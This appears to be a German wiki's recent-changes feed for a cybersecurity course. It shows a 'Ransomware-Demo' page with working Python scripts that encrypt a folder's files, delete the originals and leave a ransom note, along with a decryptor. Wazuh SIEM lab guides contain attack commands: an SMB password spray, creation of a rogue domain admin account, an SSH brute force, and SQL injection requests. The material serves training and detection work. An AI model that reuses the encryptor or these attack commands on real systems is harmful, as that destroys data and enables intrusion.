Xinux Wiki - Letzte Änderungen [de]

Ransomeware Demo

Thomas.will — Thu, 10 Sep 2026 17:34:10 GMT

Die Seite wurde neu angelegt: „= Ransomware-Demo = Diese Demo zeigt den typischen Ablauf einer Ransomware-Infektion in einer isolierten Laborumgebung. Beide Skripte sind ausschließlich fü…“

Neue Seite

= Ransomware-Demo =

Diese Demo zeigt den typischen Ablauf einer Ransomware-Infektion in einer isolierten Laborumgebung. Beide Skripte sind ausschließlich für Schulungszwecke gedacht.

== Vorbereitung ==

Abhängigkeit installieren:

pip install cryptography

Testdateien in einem separaten Ordner anlegen, z.B. <code>/home/opfer/dokumente</code>.

== Ablauf ==

# Angreifer verschlüsselt alle Dateien im Zielordner
# Jede Datei bekommt die Endung <code>.enc</code>
# Der Schlüssel wird exfiltriert (hier: <code>/tmp/demo_key.key</code>)
# Eine Lösegeldforderung (<code>LIES_MICH.txt</code>) erscheint im Ordner
# Ohne den Key ist keine Wiederherstellung möglich

== Skript 1: Verschlüsselung ==

<syntaxhighlight lang="python">
import sys, os
from cryptography.fernet import Fernet

if len(sys.argv) < 2:
print(f"Verwendung: {sys.argv[0]} <ordner>")
sys.exit(1)

TARGET_DIR = sys.argv[1]
KEY_FILE = "/tmp/demo_key.key"

if not os.path.isdir(TARGET_DIR):
print(f"Kein gültiger Ordner: {TARGET_DIR}")
sys.exit(1)

key = Fernet.generate_key()
with open(KEY_FILE, "wb") as kf:
kf.write(key)

f = Fernet(key)

for datei in os.listdir(TARGET_DIR):
pfad = os.path.join(TARGET_DIR, datei)
if os.path.isfile(pfad) and not datei.endswith(".enc") and datei != "LIES_MICH.txt":
daten = open(pfad, "rb").read()
open(pfad + ".enc", "wb").write(f.encrypt(daten))
os.remove(pfad)
print(f" verschlüsselt: {datei}")

open(os.path.join(TARGET_DIR, "LIES_MICH.txt"), "w").write(
"IHRE DATEIEN WURDEN VERSCHLÜSSELT!\n[Demo]"
)
print(f"Fertig. Key: {KEY_FILE}")
</syntaxhighlight>

Aufruf:

python3 ransomware_demo.py /home/opfer/dokumente

== Skript 2: Entschlüsselung ==

<syntaxhighlight lang="python">
import sys, os
from cryptography.fernet import Fernet

if len(sys.argv) < 2:
print(f"Verwendung: {sys.argv[0]} <ordner>")
sys.exit(1)

TARGET_DIR = sys.argv[1]
KEY_FILE = "/tmp/demo_key.key"

if not os.path.isdir(TARGET_DIR):
print(f"Kein gültiger Ordner: {TARGET_DIR}")
sys.exit(1)

if not os.path.isfile(KEY_FILE):
print(f"Key nicht gefunden: {KEY_FILE}")
sys.exit(1)

with open(KEY_FILE, "rb") as kf:
key = kf.read()

f = Fernet(key)

for datei in os.listdir(TARGET_DIR):
pfad = os.path.join(TARGET_DIR, datei)
if os.path.isfile(pfad) and datei.endswith(".enc"):
daten = open(pfad, "rb").read()
original_name = pfad[:-4]
open(original_name, "wb").write(f.decrypt(daten))
os.remove(pfad)
print(f" entschlüsselt: {datei} -> {os.path.basename(original_name)}")

lies_mich = os.path.join(TARGET_DIR, "LIES_MICH.txt")
if os.path.isfile(lies_mich):
os.remove(lies_mich)

print("Fertig.")
</syntaxhighlight>

Aufruf:

python3 decrypt_demo.py /home/opfer/dokumente

Ransomeware

Thomas.will — Thu, 10 Sep 2026 17:33:52 GMT

Schulungen

Thomas.will — Thu, 10 Sep 2026 11:44:08 GMT

Aktuelle Schulungen

Xz Backdoor

Thomas.will — Thu, 10 Sep 2026 11:14:27 GMT

Quellenhinweis

Cyber Security II. Netzplan

Thomas.will — Wed, 09 Sep 2026 17:52:05 GMT

opnsense

Datei:Cybersec-1.1-plan.drawio.png

Thomas.will — Wed, 09 Sep 2026 15:02:52 GMT

Thomas.will lud eine neue Version von Datei:Cybersec-1.1-plan.drawio.png hoch

Neue Seite

Datei:Cybersec-1.1-plan.drawio.png

Thomas.will — Wed, 09 Sep 2026 15:01:56 GMT

Thomas.will lud eine neue Version von Datei:Cybersec-1.1-plan.drawio.png hoch

Neue Seite

Wazuh Windows 2022

Thomas.will — Wed, 09 Sep 2026 13:51:11 GMT

Agent installieren

Wazuh Mailserver

Thomas.will — Wed, 09 Sep 2026 13:12:25 GMT

Funktionstest

Wazuh Windows 2022

Thomas.will — Wed, 09 Sep 2026 13:03:28 GMT

POC 1 – Anmelde-Brute-Force gegen einen Domänen-Account

Wazuh Mailserver

Thomas.will — Wed, 09 Sep 2026 12:34:05 GMT

Funktionstest

Wazuh Windows 2022

Thomas.will — Wed, 09 Sep 2026 12:22:26 GMT

Die Seite wurde neu angelegt: „= Windows Server 2022 Domänencontroller an Wazuh anbinden = Der Domänencontroller ist die erste Windows-Quelle im SIEM. Er liefert die AD-relevanten Events,…“

Neue Seite

= Windows Server 2022 Domänencontroller an Wazuh anbinden =

Der Domänencontroller ist die erste Windows-Quelle im SIEM. Er liefert die AD-relevanten Events, die ein normaler Client nicht hat: Kerberos-Tickets, Konten- und Gruppenänderungen, Anmeldungen an der Domäne. Der Windows-Agent liest den <code>Security</code>-Channel bereits ab Werk mit – die beiden folgenden POCs laufen daher ohne eigene Regeln.

== Agent installieren ==

Auf dem DC eine PowerShell '''als Administrator''' öffnen. MSI von der Manager-Version herunterladen (Version an das Manager-Release anpassen) und installieren:

<syntaxhighlight lang="powershell">
msiexec.exe /i wazuh-agent-4.14.0-1.msi /q WAZUH_MANAGER="wazuh.dkbi.com"
NET START WazuhSvc
</syntaxhighlight>

Der Agent registriert sich unter dem Hostnamen des DC (kein <code>WAZUH_AGENT_NAME</code> nötig).

== Registrierung prüfen ==

Auf dem Manager:

<syntaxhighlight lang="bash">
/var/ossec/bin/agent_control -l
</syntaxhighlight>

Der DC muss mit Status '''Active''' erscheinen. Alternativ im Dashboard unter ''Agents''.

== Was der Agent liefert ==

Die Standard-<code>ossec.conf</code> des Windows-Agenten überwacht bereits die Eventchannels <code>Application</code>, <code>Security</code> und <code>System</code>. Für die beiden POCs ist damit '''keine Konfigurationsänderung''' nötig – die relevanten Security-Events kommen sofort im Manager an.

: ''Optional für spätere Red-Team-POCs:'' Sysmon installieren (Prozess-, Netzwerk- und LSASS-Zugriffe, IDs 1/3/10) und den Channel <code>Microsoft-Windows-Sysmon/Operational</code> als zusätzlichen <code>localfile</code>-Block einhängen. Für Brute-Force und Kontenmanipulation unten wird das nicht gebraucht.

== POC 1 – Anmelde-Brute-Force gegen einen Domänen-Account ==

'''Lernziel:''' Fehlgeschlagene Anmeldungen (4625) landen einzeln im SIEM; die Häufung erzeugt automatisch einen Brute-Force-Alarm.

Vom Kali aus ein Password-Spray über SMB gegen den DC (erzeugt einen Schwung 4625):

<syntaxhighlight lang="bash">
nxc smb win2022.dkbi.com -u benutzer.txt -p passwoerter.txt
</syntaxhighlight>

'''Erwartung im Dashboard:'''
{| class="wikitable"
! rule.id !! Bedeutung
|-
| '''60122''' || Einzelne fehlgeschlagene Anmeldung (Logon Failure)
|-
| '''60204''' || Mehrfache Fehlversuche – Brute-Force-Erkennung (feuert nach 8 Fehlversuchen im Zeitfenster)
|-
| '''60106''' || Erfolgreiche Anmeldung – zeigt an, falls das Spray ein gültiges Passwort trifft
|}

'''Lehrpunkt:''' Das SIEM zählt, nicht das Betriebssystem. Windows loggt jeden 4625 stumpf weg; erst die Korrelation über <code>authentication_failures</code> macht daraus „hier läuft ein Angriff". Die 8er-Schwelle von 60204 ist über <code>frequency</code>/<code>timeframe</code> anpassbar, falls die Demo schneller feuern soll.

== POC 2 – Persistence: neuer Domänen-Admin ==

'''Lernziel:''' Kontenmanipulation auf dem DC ist im SIEM sofort sichtbar – der klassische Post-Exploitation-Schritt „ich lege mir einen Admin an".

Auf dem DC (simuliert die Aktion nach einer Übernahme):

<syntaxhighlight lang="cmd">
net user angreifer P@ssw0rt123! /add /domain
net group "Domänen-Admins" angreifer /add
</syntaxhighlight>

'''Erwartung im Dashboard:'''
{| class="wikitable"
! Event ID !! Bedeutung
|-
| '''4720''' || Benutzerkonto erstellt
|-
| '''4732 / 4728''' || Mitglied zu (lokaler / globaler) Sicherheitsgruppe hinzugefügt → Aufnahme in die Domänen-Admins
|}

Wazuh ordnet beide nativen Security-Events der Gruppe <code>windows,account_changes</code> zu – im Dashboard nach dieser Gruppe filtern.

'''Lehrpunkt:''' Ein neuer Domänen-Admin ist ein Ein-Zeilen-Angriff, aber ein lauter. Genau solche Events sind der Grund, warum ein DC ins SIEM gehört – die Aktion ist harmlos zu tippen und im Log unübersehbar.

[[Kategorie:WAZUH]]
[[Kategorie:Windows]]
[[Kategorie:SIEM]]

Sicherheitsinformations- und Ereignisverwaltung (SIEM)

Thomas.will — Wed, 09 Sep 2026 12:17:32 GMT

SOC-Betrieb: Wenn Reports zum Leak werden

Thomas.will — Wed, 09 Sep 2026 12:14:23 GMT

Wazuh Mailserver

Thomas.will — Wed, 09 Sep 2026 12:12:56 GMT

= ADD ON

Wazuh-Anbindung der WAF (Coraza) Rocky

Thomas.will — Wed, 09 Sep 2026 11:14:21 GMT

Kontrolle

Wazuh Apache2

Thomas.will — Wed, 09 Sep 2026 10:24:18 GMT

Kontrolle

Wazuh Logging Cheat-Sheet

Thomas.will — Wed, 09 Sep 2026 10:10:21 GMT

Die Seite wurde neu angelegt: „=Wazuh Logging — Cheat Sheet= Wo was liegt und womit man nachsieht, wenn im Dashboard nichts ankommt. Jeder Abschnitt ist einer Maschine zugeordnet: * '''[A…“

Neue Seite

=Wazuh Logging — Cheat Sheet=
Wo was liegt und womit man nachsieht, wenn im Dashboard nichts ankommt.

Jeder Abschnitt ist einer Maschine zugeordnet:
* '''[A]''' = auf dem Agenten (z.B. www, waf)
* '''[M]''' = auf dem Manager (wazuh.dkbi.com)

== Wo liegt was ==
{| class="wikitable"
! Datei !! Maschine !! Inhalt
|-
| ''/var/ossec/logs/ossec.log'' || A + M || Betriebsmeldungen der Dienste. Der einzige Log auf der Agent-Seite
|-
| ''/var/ossec/logs/alerts/alerts.json'' || M || Alles, was eine Regel getroffen hat
|-
| ''/var/ossec/logs/alerts/alerts.log'' || M || Dasselbe im Klartext
|-
| ''/var/ossec/logs/archives/archives.json'' || M || '''Alles''', auch ohne Regeltreffer — nur bei aktivem ''logall_json''
|-
| ''/var/ossec/logs/active-responses.log'' || A || Ausgeführte Active Responses
|}
'''Merksatz:''' Der Agent liest und sendet, er führt keine Buchhaltung. Was gesendet wurde, sieht man nur auf dem Manager.

== [A] Agent — was wird eingelesen ==
;Welche Dateien überwacht der Logcollector?
<syntaxhighlight lang="bash">
grep "Analyzing file" /var/ossec/logs/ossec.log
</syntaxhighlight>
;Konfiguration testen, bevor neu gestartet wird
<syntaxhighlight lang="bash">
/var/ossec/bin/wazuh-logcollector -t
</syntaxhighlight>
;Jede gelesene Zeile sehen — in ''/var/ossec/etc/local_internal_options.conf''
<syntaxhighlight lang="bash">
logcollector.debug=2
</syntaxhighlight>
<syntaxhighlight lang="bash">
systemctl restart wazuh-agent
tail -f /var/ossec/logs/ossec.log
</syntaxhighlight>
Danach wieder auf ''0'' setzen.
;Verbindung zum Manager
<syntaxhighlight lang="bash">
grep -E "Connected to the server|Unable to connect" /var/ossec/logs/ossec.log | tail -5
</syntaxhighlight>

== [M] Manager — was kommt an ==
;Agentenliste mit Status
<syntaxhighlight lang="bash">
/var/ossec/bin/agent_control -l
</syntaxhighlight>
;Lauscht der Manager?
<syntaxhighlight lang="bash">
ss -lnup | grep 1514
</syntaxhighlight>
;Dienste
<syntaxhighlight lang="bash">
/var/ossec/bin/wazuh-control status
</syntaxhighlight>
;Konfiguration prüfen, ohne neu zu starten
<syntaxhighlight lang="bash">
/var/ossec/bin/wazuh-analysisd -t
</syntaxhighlight>

== [M] Live mitlesen ==
;Alerts
<syntaxhighlight lang="bash">
tail -f /var/ossec/logs/alerts/alerts.json | jq -c '[.agent.name, .rule.id, .rule.description]'
</syntaxhighlight>
;Alles, auch ohne Treffer — vorher in ''/var/ossec/etc/ossec.conf'' im ''<global>''-Block
<syntaxhighlight lang="xml">
<logall_json>yes</logall_json>
</syntaxhighlight>
<syntaxhighlight lang="bash">
systemctl restart wazuh-manager
tail -f /var/ossec/logs/archives/archives.json | jq -c '[.agent.name, .decoder.name, .rule.id // "-", .full_log]'
</syntaxhighlight>
'''Achtung:''' Archives werden nicht rotiert. Nach der Übung wieder auf ''no''.
;Nach einem Agenten filtern
<syntaxhighlight lang="bash">
tail -f /var/ossec/logs/archives/archives.json | jq -c 'select(.agent.name=="www") | .full_log'
</syntaxhighlight>

== [M] Regeln und Decoder testen ==
;Interaktiv — Logzeile reinpasten, Ergebnis sofort
<syntaxhighlight lang="bash">
/var/ossec/bin/wazuh-logtest
</syntaxhighlight>
* Phase 1: Vordekodierung (Zeitstempel, Hostname)
* Phase 2: Decoder und extrahierte Felder
* Phase 3: Regel-ID und Level — bleibt leer, wenn keine Regel greift
;Aus einer Datei heraus
<syntaxhighlight lang="bash">
tail -1 /var/log/coraza/audit.log | /var/ossec/bin/wazuh-logtest
</syntaxhighlight>
;Regeln auf Dopplungen prüfen — doppelte IDs verhindern den Start des Managers
<syntaxhighlight lang="bash">
grep -rn 'rule id="1001' /var/ossec/etc/rules/
</syntaxhighlight>

== Typische Ursachen ==
{| class="wikitable"
! Symptom !! Prüfen auf !! Ursache
|-
| Gar nichts im ossec.log zur Datei || A || ''<localfile>'' fehlt oder Pfad falsch
|-
| HTTP wird geloggt, HTTPS nicht || A || SSL-vhost schreibt in ''ssl_access.log''
|-
| Datei da, aber keine Zeilen || A || Angriff kam '''vor''' dem Agent-Neustart — nur Neues wird gelesen
|-
| In archives.json, aber kein Alert || M || Keine Regel greift. Mit ''wazuh-logtest'' gegenprüfen
|-
| Manager startet nicht || M || Doppelte Regel-ID oder XML-Fehler — steht im ossec.log
|-
| Nichts erscheint, obwohl alles stimmt || — || Zu wenig Verkehr. Mit einer Schleife 20 Requests erzeugen
|}

== Nach der Übung aufräumen ==
;[A] in ''local_internal_options.conf''
<syntaxhighlight lang="bash">
logcollector.debug=0
</syntaxhighlight>
;[M] in ''ossec.conf''
<syntaxhighlight lang="xml">
<logall_json>no</logall_json>
</syntaxhighlight>

[[Kategorie:WAZUH]]

Cheat Sheets

Thomas.will — Wed, 09 Sep 2026 10:10:13 GMT

Wazuh-Anbindung der WAF (Coraza) Debian

Thomas.will — Wed, 09 Sep 2026 09:49:05 GMT

Wazuh-Anbindung der WAF (Coraza) Rocky

Thomas.will — Wed, 09 Sep 2026 09:24:01 GMT

Wazuh-Anbindung der WAF (Coraza) Rocky

Thomas.will — Wed, 09 Sep 2026 09:17:44 GMT

Die Seite wurde neu angelegt: „=Wazuh-Anbindung der WAF (Coraza)= Die '''WAF''' (HAProxy + Coraza-SPOA) liefert die Abwehr-Telemetrie an das SIEM: welcher Angriff wurde von welcher Regel geb…“

Neue Seite

=Wazuh-Anbindung der WAF (Coraza)=
Die '''WAF''' (HAProxy + Coraza-SPOA) liefert die Abwehr-Telemetrie an das SIEM: welcher Angriff wurde von welcher Regel geblockt. Das ergänzt die VulnSite-Sicht — dort sieht Wazuh den Angriffsversuch im Apache-Log, hier sieht es die '''Abwehr davor'''.

'''Hinweis:''' Wazuhs eingebaute ModSecurity-Regeln greifen nur auf das Apache-error.log klassischer ModSecurity. Coraza-SPOA schreibt ein eigenes Audit-Log und läuft nicht über Apache — daher binden wir das Coraza-JSON-Audit-Log ein und ergänzen einen eigenen Decoder samt Regel auf dem Manager.

== Repository einrichten ==
;GPG-Schlüssel importieren
<syntaxhighlight lang="bash">
rpm --import https://packages.wazuh.com/key/GPG-KEY-WAZUH
</syntaxhighlight>
;Repository hinzufügen
<syntaxhighlight lang="bash">
cat > /etc/yum.repos.d/wazuh.repo << 'EOF'
[wazuh]
name=Wazuh repository
baseurl=https://packages.wazuh.com/4.x/yum/
gpgcheck=1
gpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH
enabled=1
protect=1
EOF
</syntaxhighlight>

== Agent installieren ==
;Agent mit Manager-Adresse und Namen installieren
<syntaxhighlight lang="bash">
WAZUH_MANAGER="wazuh.dkbi.com" WAZUH_AGENT_NAME="waf" dnf install -y wazuh-agent
</syntaxhighlight>
;Dienst aktivieren und starten
<syntaxhighlight lang="bash">
systemctl daemon-reload
systemctl enable --now wazuh-agent
</syntaxhighlight>
;Repository deaktivieren (verhindert ungewollte Updates)
<syntaxhighlight lang="bash">
sed -i "s/^enabled=1/enabled=0/" /etc/yum.repos.d/wazuh.repo
</syntaxhighlight>

== Coraza-Audit-Log auf JSON umstellen ==
Das Audit-Log liegt standardmäßig im nativen ModSecurity-Format (Multiline mit Trennern wie ''--aaCuCNaqNi-A--''). Das kann Wazuh nicht sauber parsen. Auf JSON umstellen.

'''Wichtig:''' ''SecAuditLogFormat'' ist eine SecRules-Direktive, keine YAML-Option. Sie darf nicht auf oberster Ebene der ''coraza-spoa.yaml'' stehen — dort gehört sie in den ''directives''-Block der Anwendung.
;In ''/etc/coraza-spoa/coraza-spoa.yaml''
<syntaxhighlight lang="yaml">
applications:
- name: default
directives: |
SecRuleEngine On
SecAuditEngine RelevantOnly
SecAuditLogType Serial
SecAuditLogFormat JSON
SecAuditLog /var/log/coraza/audit.log
SecAuditLogParts ABIJDEFHZ
Include @coraza.conf-recommended
Include @crs-setup.conf.example
Include @owasp_crs/*.conf
</syntaxhighlight>
;Bindet die Konfiguration stattdessen eine externe Regeldatei ein, gehören die drei Audit-Zeilen dorthin
;Daemon neu starten
* systemctl restart coraza-spoa
;Eine Zeile prüfen — muss jetzt mit { beginnen
* tail -1 /var/log/coraza/audit.log

== Audit-Log anbinden ==
;In ''/var/ossec/etc/ossec.conf'' auf der WAF
<syntaxhighlight lang="xml">
<localfile>
<log_format>json</log_format>
<location>/var/log/coraza/audit.log</location>
</localfile>
</syntaxhighlight>
;Syntax prüfen, bevor neu gestartet wird
* /var/ossec/bin/wazuh-logcollector -t

== SELinux-Kontext des Audit-Logs ==
Wurde ''/var/log/coraza'' von Hand angelegt, trägt es nicht zwingend den richtigen Kontext. Der Logcollector liest die Datei dann nicht — ohne sichtbare Fehlermeldung im ossec.log.
;Kontext prüfen
* ls -Zd /var/log/coraza /var/log/coraza/audit.log
;Erwartet wird ''var_log_t'' — sonst dauerhaft setzen
<syntaxhighlight lang="bash">
semanage fcontext -a -t var_log_t "/var/log/coraza(/.*)?"
restorecon -Rv /var/log/coraza
</syntaxhighlight>
;Gegenprobe bei Verdacht auf SELinux
* ausearch -m avc -ts recent

== Leserechte für den Agent ==
Der Logcollector läuft als ''root'', Rechte sind daher selten die Ursache. Nur wenn die Datei einem Dienstuser mit restriktiver Maske gehört, ist eine ACL nötig.
;Zugriff testen
* sudo -u wazuh cat /var/log/coraza/audit.log > /dev/null
;Bei "Permission denied" — ''acl'' ist auf Rocky-Minimal nicht vorinstalliert
<syntaxhighlight lang="bash">
dnf install -y acl
chmod 640 /var/log/coraza/audit.log
setfacl -m u:wazuh:rx /var/log/coraza/
setfacl -m u:wazuh:r /var/log/coraza/audit.log
</syntaxhighlight>

== Agent neu starten ==
* systemctl restart wazuh-agent
;Kontrolle, dass die Datei überwacht wird
* grep "audit.log" /var/ossec/logs/ossec.log

== Decoder und Regel (auf dem Wazuh-Manager) ==
Coraza-JSON wird vom generischen JSON-Decoder zerlegt, aber von keiner eingebauten Regel klassifiziert. Beides ergänzen.
;Decoder in ''/var/ossec/etc/decoders/local-coraza_decoders.xml''
<syntaxhighlight lang="xml">
<decoder name="coraza-audit">
<prematch>^{"transaction":</prematch>
<plugin_decoder>JSON_Decoder</plugin_decoder>
</decoder>
</syntaxhighlight>
;Regel in ''/var/ossec/etc/rules/local_rules.xml'' ergänzen
<syntaxhighlight lang="xml">
<group name="coraza,waf,">
<rule id="100100" level="0">
<decoded_as>json</decoded_as>
<field name="transaction.client_ip">\.+</field>
<description>Coraza WAF Audit-Log.</description>
</rule>
<rule id="100101" level="10">
<if_sid>100100</if_sid>
<field name="transaction.is_interrupted">true</field>
<description>Coraza WAF: Angriff geblockt auf $(transaction.request.uri) von $(transaction.client_ip).</description>
<group>attack,web,</group>
</rule>
</group>
</syntaxhighlight>
;Eigentümer und Rechte setzen
<syntaxhighlight lang="bash">
chown wazuh:wazuh /var/ossec/etc/decoders/local-coraza_decoders.xml /var/ossec/etc/rules/local_rules.xml
chmod 660 /var/ossec/etc/decoders/local-coraza_decoders.xml /var/ossec/etc/rules/local_rules.xml
</syntaxhighlight>
;Vor dem Neustart mit logtest prüfen — eine echte JSON-Audit-Zeile reinpasten
* /var/ossec/bin/wazuh-logtest
Erwartete Ausgabe: ''transaction.is_interrupted: 'true''' in Phase 2 und ''Rule id: '100101''' in Phase 3.
;Erst dann Manager neu starten
* systemctl restart wazuh-manager

== Kontrolle ==
;Angriff von der Kali gegen die WAF
<syntaxhighlight lang="bash">
curl -k "https://waf.it213.xinmen.de/?id=1'+OR+'1'='1"
</syntaxhighlight>
;Im Dashboard
* Öffne ''Threat Hunting'', Filter ''rule.id:100101''
* Der Alert "Coraza WAF: Angriff geblockt" muss erscheinen

== Fehlersuche ==
Kommt im Dashboard nichts an, die Kette von unten nach oben prüfen.
;1. Schreibt Coraza überhaupt?
* tail -f /var/log/coraza/audit.log — dann den curl absetzen
;2. Liest der Agent die Datei?
* grep "Analyzing file" /var/ossec/logs/ossec.log
;3. Erreichen die Zeilen den Manager? Auf dem Manager ''logall_json'' aktivieren
<syntaxhighlight lang="xml">
<global>
<logall_json>yes</logall_json>
</global>
</syntaxhighlight>
* tail -f /var/ossec/logs/archives/archives.json | jq 'select(.agent.name=="waf")'
* Nach der Übung wieder auf ''no'' — Archives werden nicht rotiert
;4. Steht die Verbindung?
* Auf dem Manager: /var/ossec/bin/agent_control -l
* Auf der WAF: grep -E "Connected to the server|Unable to connect" /var/ossec/logs/ossec.log

[[Kategorie:WAZUH]]
[[Kategorie:Coraza]]

Wazuh-Anbindung der WAF (Coraza) Debian

Thomas.will — Wed, 09 Sep 2026 09:16:15 GMT

Die Seite wurde neu angelegt: „ =Wazuh-Anbindung der WAF (Coraza)= Die '''WAF''' (HAProxy + Coraza-SPOA) liefert die Abwehr-Telemetrie an das SIEM: welcher Angriff wurde von welcher Regel ge…“

Neue Seite

Wazug HAProxy WAF mit Coraza

Thomas.will — Wed, 09 Sep 2026 09:15:36 GMT

Der Seiteninhalt wurde durch einen anderen Text ersetzt: „*Wazuh-Anbindung der WAF (Coraza) Debian *Wazuh-Anbindung der WAF (Coraza) Rocky“

Wazuh Apache2

Thomas.will — Wed, 09 Sep 2026 08:46:19 GMT

Datei:Wazuh-messpunkte.drawio.png

Thomas.will — Wed, 09 Sep 2026 06:27:08 GMT

Thomas.will lud eine neue Version von Datei:Wazuh-messpunkte.drawio.png hoch

Neue Seite

Datei:Wazuh-messpunkte.drawio.png

Thomas.will — Wed, 09 Sep 2026 06:05:18 GMT

Thomas.will lud eine neue Version von Datei:Wazuh-messpunkte.drawio.png hoch

Neue Seite

Datei:Wazuh-messpunkte.drawio.png

Thomas.will — Wed, 09 Sep 2026 06:04:56 GMT

Thomas.will lud eine neue Version von Datei:Wazuh-messpunkte.drawio.png hoch

Neue Seite

Datei:Wazuh-messpunkte.drawio.png

Thomas.will — Wed, 09 Sep 2026 06:04:40 GMT

Thomas.will lud eine neue Version von Datei:Wazuh-messpunkte.drawio.png hoch

Neue Seite

Datei:Wazuh-messpunkte.drawio.png

Thomas.will — Wed, 09 Sep 2026 06:02:00 GMT

Thomas.will lud Datei:Wazuh-messpunkte.drawio.png hoch

Neue Seite

Wazuh was messen wir?

Thomas.will — Wed, 09 Sep 2026 06:00:58 GMT

Die Seite wurde neu angelegt: „{{#drawio:wazuh-messpunkte}}“

Neue Seite

Sicherheitsinformations- und Ereignisverwaltung (SIEM)

Thomas.will — Wed, 09 Sep 2026 05:59:46 GMT

Lenovo

Thomas.will — Tue, 08 Sep 2026 17:22:34 GMT

Die Seite wurde neu angelegt: „;Akkustand *upower -i /org/freedesktop/UPower/devices/battery_BAT0“

Neue Seite

;Akkustand
*upower -i /org/freedesktop/UPower/devices/battery_BAT0

Notebooks

Thomas.will — Tue, 08 Sep 2026 17:22:15 GMT

Schulungen

Thomas.will — Tue, 08 Sep 2026 16:00:20 GMT

Wazuh aufsetzen

Thomas.will — Tue, 08 Sep 2026 11:09:29 GMT

Festplatte vergrösseren

@@ Zeile 1: / Zeile 1: @@
 *[[Ransomeware Erklärung]]
 *[[Ransomeware Gegenmaßnahmen]]
 *[[Ransomeware Backup]]

@@ Zeile 9: / Zeile 9: @@
 * [[Linux - Security und Firewall]]
 * [[IPv6 Training]]
-* [[IT-Sicherheitsaspekte in heterogenen Netzwerken]]
+* [[Virtualisierung in Linux]]
 =Schulungen=

@@ Zeile 72: / Zeile 72: @@
 * Technische Analysen / Writeups (z. B. Gynvael Coldwind) und Community-Tools (xzbot)
 * Diverse Vendor-Advisories / CVE-Einträge (CVE-2024-3094)
 = Links =

@@ Zeile 6: / Zeile 6: @@
 =Anpassen der Maschinen=
 ==opnsense==
 *CERT: wget https://web.samogo.de/certs/it200+TN.xinmen.de.tgz, einspielen und zuornden.
 =ovs=

@@ Zeile 59: / Zeile 59: @@
 ;SMTP-Pfad direkt prüfen (vom Wazuh-Manager aus)
 * dnf install -y s-nail
 *echo "test" | s-nail -s "test" -S mta=smtp://mail.dkbi.com:25 -S from=wazuh@it213.xinmen.de soc@it213.xinmen.de
 * Die Mail muss in Roundcube im Postfach ''soc'' erscheinen

@@ Zeile 8: / Zeile 8: @@
 <syntaxhighlight lang="powershell">
-msiexec.exe /i wazuh-agent-4.14.0-1.msi /q WAZUH_MANAGER="wazuh.dkbi.com"
+Invoke-WebRequest -Uri https://packages.wazuh.com/4.x/windows/wazuh-agent-4.14.7-1.msi -OutFile $env:tmp\wazuh-agent; msiexec.exe /i $env:tmp\wazuh-agent /q WAZUH_MANAGER='wazuh.dkbi.com' WAZUH_AGENT_NAME='win2022'
 NET START WazuhSvc
 </syntaxhighlight>

@@ Zeile 37: / Zeile 37: @@
 <syntaxhighlight lang="bash">
-nxc smb win2022.dkbi.com -u benutzer.txt -p passwoerter.txt
+wget https://xinux.de/downloads/script/bad-passwords
 </syntaxhighlight>

@@ Zeile 64: / Zeile 64: @@
 ;Echten Alert auslösen (Brute-Force von der Kali, Level 10)
 <syntaxhighlight lang="bash">
-hydra -l kit -P bad-passwords.txt ssh://<ubuntu-ip>
+wget https://xinux.de/downloads/script/bad-passwords
 </syntaxhighlight>
 * Wazuh schickt die Brute-Force-Alarmmail an ''soc@it213.xinmen.de''
 ==== ADD ON====
 *[[RSPAMD an WAZUH]]
 [[Kategorie:WAZUH]]

@@ Zeile 13: / Zeile 13: @@
 *[[Wazug HAProxy WAF mit Coraza]]
 *[[Wazuh IDS]]
 *[[Netzwerkforensik mit NetworkMiner: Von Suricata-Alert zur PCAP-Analyse]]
 *[[Netzwerkmonitoring mit Zeek: Installation, Logs und Wazuh-Integration]]

@@ Zeile 9: / Zeile 9: @@
 Der Fall ist deshalb so wertvoll, weil '''beide Seiten''' Sicherheitshygiene versäumt haben: die '''Senderseite''' (der Ex-Kunde) ''und'' die '''Empfängerseite''' (wir).
 == Ausgangslage ==
@@ Zeile 128: / Zeile 121: @@
 * Wie verhindert ihr im eigenen SOC, dass ein echter Alert wie hier im Spam verschwindet?
 * Welche Offboarding-Schritte fehlen in der Checkliste oben für eure Umgebung?
 [[Kategorie:Cybersec-2]]
 [[Kategorie:SOC]]
 [[Kategorie:Lessons Learned]]

@@ Zeile 72: / Zeile 72: @@
 ;Angriff absetzen und eine Zeile prüfen — muss mit { beginnen
 <syntaxhighlight lang="bash">
-curl -ik "https://waf.it2XX.xinmen.de/?id=1' OR '1'='1"
+Über den browser auf www.it2XX.xinmen.de und dann eine SQL Injection auslösen.
 tail -1 /var/log/coraza/audit.log
 </syntaxhighlight>
@@ Zeile 86: / Zeile 86: @@
 ;Syntax prüfen, bevor neu gestartet wird
 * /var/ossec/bin/wazuh-logcollector -t
 == SELinux und Leserechte ==
@@ Zeile 106: / Zeile 108: @@
 setfacl -m u:wazuh:r /var/log/coraza/audit.log
 </syntaxhighlight>
 == Agent neu starten ==
@@ Zeile 157: / Zeile 160: @@
 ;Angriff von der Kali gegen die WAF
 <syntaxhighlight lang="bash">
-curl -k "https://waf.it2XX.xinmen.de/?id=1'+OR+'1'='1"
+Angriff über die Weboberfläche www.it2XX.xinmen.de - Command und SQl Injection
 </syntaxhighlight>
 ;Im Dashboard

@@ Zeile 69: / Zeile 69: @@
 * SQLi-Funktionstest von der Kali:
    <pre>
-   curl -XGET "http://<vulnsite-ip>/users/?id=SELECT+*+FROM+users"
+   curl -XGET "https://www-dmz.it2XX.xinmen.de/?id=insert%20into%20users"
    </pre>
 * Öffne im Dashboard ''Threat Hunting'' und filtere auf ''rule.id:31103''

← Nächstältere Version		Version vom 9. September 2026, 10:10 Uhr
Zeile 24:		Zeile 24:
	*[[Kali 2026 Cyber Security - Sheet Cheat]]		*[[Kali 2026 Cyber Security - Sheet Cheat]]
	*[[open-vswitch Cheat-Sheet]]		*[[open-vswitch Cheat-Sheet]]
		+	*[[Wazuh Logging Cheat-Sheet]]

@@ Zeile 1: / Zeile 1: @@
 =Wazuh-Anbindung der WAF (Coraza)=
 Die '''WAF''' (HAProxy + Coraza-SPOA) liefert die Abwehr-Telemetrie an das SIEM: welcher Angriff wurde von welcher Regel geblockt. Das ergänzt die VulnSite-Sicht — dort sieht Wazuh den Angriffsversuch im Apache-Log, hier sieht es die '''Abwehr davor'''.
@@ Zeile 33: / Zeile 32: @@
 </syntaxhighlight>
-==== Coraza-Audit-Log auf JSON umstellen ====
+==== Audit-Log in Coraza aktivieren ====
